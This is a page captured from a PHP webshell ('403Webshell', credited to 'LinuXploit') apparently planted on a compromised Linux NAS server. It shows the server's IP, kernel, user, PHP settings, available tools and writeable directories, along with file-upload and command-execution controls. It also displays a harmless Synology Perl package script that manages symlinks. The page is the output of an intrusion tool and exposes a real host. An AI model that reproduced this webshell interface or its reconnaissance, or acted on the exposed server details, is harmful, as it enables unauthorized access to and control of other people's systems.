403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.67
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/packages/Perl/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/packages/Perl/scripts/common
#!/bin/sh
# Copyright (C) 2000-2016 Synology Inc. All rights reserved.

CHECK_AND_LINK_FILE()
{
	local LINK=$1
	local LINK_TARGET=$(realpath /var/packages/Perl/target/$LINK)
	local LINK_BASE=$(dirname $LINK)

	if [ ! -d "$LINK_BASE" ]; then
		mkdir -p $LINK_BASE
	fi
	if [ -e "$LINK" ]; then
		rm -rf $LINK
	fi
	if [ ! -e "$LINK" ]; then
		ln -sf $LINK_TARGET $LINK
	fi
}

CHECK_AND_REMOVE()
{
	[ -L $1 ] && rm $1
}

CHECK_LINK_TARGET()
{
	LINK=$1
	LINK_TARGET_REAL=$(readlink $LINK)
	LINK_TARGET=$(realpath /var/packages/Perl/target/$LINK)

	if [ -z "$LINK_TARGET_REAL" ]; then
		return 1
	fi

	if [ "$LINK_TARGET_REAL" != "$LINK_TARGET" ]; then
		return 1
	fi

	return 0
}

EACH()
{
	for file in $(cd /var/packages/Perl/target/ && find "$2" -mindepth 1 -maxdepth 1); do
		$1 /$file || return $?
	done
}

ALL()
{
	EACH $1 "usr/local/bin" || return $?
	EACH $1 "usr/local/sbin" || return $?
	EACH $1 "usr/local/share" || return $?
	EACH $1 "usr/local/lib" || return $?
	EACH $1 "usr/bin" || return $?
	EACH $1 "usr/lib" || return $?
}

DO_LINK()
{
	ALL CHECK_AND_LINK_FILE
}

DO_REMOVE()
{
	ALL CHECK_AND_REMOVE
}

CHECK_LINK()
{
	ALL CHECK_LINK_TARGET
}

Youez - 2016 - github.com/yon3zu
LinuXploit